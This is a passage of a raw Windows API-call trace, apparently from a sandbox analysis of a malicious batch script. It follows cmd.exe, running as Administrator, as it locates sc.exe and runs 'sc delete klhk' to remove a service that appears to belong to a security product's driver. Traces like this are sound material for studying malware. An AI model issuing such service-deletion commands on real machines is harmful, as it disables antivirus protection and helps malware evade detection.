(HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0073.064] GetProcessHeap () returned 0x4a0000 [0073.064] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0073.064] GetProcessHeap () returned 0x4a0000 [0073.064] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0073.064] GetProcessHeap () returned 0x4a0000 [0073.065] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0073.065] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.065] GetProcessHeap () returned 0x4a0000 [0073.065] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0073.065] GetProcessHeap () returned 0x4a0000 [0073.065] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0073.065] GetProcessHeap () returned 0x4a0000 [0073.065] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0073.065] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.065] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.065] GetLastError () returned 0x2 [0073.065] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.065] GetLastError () returned 0x2 [0073.065] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.065] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.065] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.065] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.066] GetLastError () returned 0x2 [0073.066] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.066] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.066] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.066] GetProcessHeap () returned 0x4a0000 [0073.066] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0073.066] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.066] GetProcessHeap () returned 0x4a0000 [0073.066] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x96) returned 0x4b9180 [0073.066] GetProcessHeap () returned 0x4a0000 [0073.066] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x96 [0073.066] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klhk") returned 1 [0073.067] GetProcessHeap () returned 0x4a0000 [0073.067] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0073.067] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0073.067] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0073.067] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0073.067] GetProcessHeap () returned 0x4a0000 [0073.067] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0073.067] GetProcessHeap () returned 0x4a0000 [0073.067] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0073.067] GetProcessHeap () returned 0x4a0000 [0073.067] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0073.067] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klhk", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klhk", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete klhk", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0xa3c, dwThreadId=0xac0)) returned 1 [0073.070] CloseHandle (hObject=0x54) returned 1 [0073.070] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.070] GetProcessHeap () returned 0x4a0000 [0073.070] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.070] GetEnvironmentStringsW () returned 0x4bba10* [0073.070] GetProcessHeap () returned 0x4a0000 [0073.070] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0073.070] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0073.070] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0073.071] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd8000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0073.071] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0073.116] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0073.116] CloseHandle (hObject=0x50) returned 1 [0073.116] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0073.116] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0073.116] GetProcessHeap () returned 0x4a0000 [0073.116] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0073.116] GetEnvironmentStringsW () returned 0x4c1b10* [0073.116] GetProcessHeap () returned 0x4a0000 [0073.116] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0073.116] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.116] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.116] GetProcessHeap () returned 0x4a0000 [0073.116] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.116] GetEnvironmentStringsW () returned 0x4bba10* [0073.116] GetProcessHeap () returned 0x4a0000 [0073.116] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0073.116] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0073.116] GetProcessHeap () returned 0x4a0000 [0073.116] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0073.116] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0073.116] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0073.117] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.117] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0073.117] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.117] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0073.117] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.117] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0073.117] GetConsoleOutputCP () returned 0x1b5 [0073.117] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.117] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.118] GetProcessHeap () returned 0x4a0000 [0073.118] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0073.118] GetProcessHeap () returned 0x4a0000 [0073.118] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0073.118] GetProcessHeap () returned 0x4a0000 [0073.118] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0073.118] GetProcessHeap () returned 0x4a0000 [0073.118] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc530 | out: hHeap=0x4a0000) returned 1 [0073.118] GetProcessHeap () returned 0x4a0000 [0073.118] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0073.118] GetProcessHeap () returned 0x4a0000 [0073.118] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0073.118] GetProcessHeap () returned 0x4a0000 [0073.118] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0073.118] GetProcessHeap () returned 0x4a0000 [0073.118] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0073.118] GetProcessHeap () returned 0x4a0000 [0073.118] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0073.118] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0073.118] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.118] GetFileType (hFile=0x120) returned 0x3 [0073.118] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.118] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.118] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0073.119] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0073.119] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.119] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0073.119] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0073.119] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.119] GetFileType (hFile=0x120) returned 0x3 [0073.119] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.119] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0073.119] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0073.119] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.119] GetFileType (hFile=0xb8) returned 0x3 [0073.119] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.119] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.119] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.119] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.119] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.119] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.119] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.119] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.119] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.119] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.120] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.120] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.120] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.120] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.120] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.120] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.120] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.120] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.120] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.120] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.120] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.120] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.120] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.120] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.120] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.120] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.120] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.120] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.120] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.120] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.121] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.121] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.121] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.121] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.121] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.121] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.121] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.121] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.121] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.121] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.121] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.121] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.121] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.121] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="\"lhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.121] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.121] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.121] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.121] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="Khk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.121] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.121] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.121] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.121] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="Sk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.122] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.122] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.122] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.122] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="D\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.122] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.122] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.122] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.122] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="Eflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.122] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.122] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.122] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.122] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="1lt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.122] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.122] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.122] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.122] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr=".t\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.122] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.122] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.122] ReadFile (in: 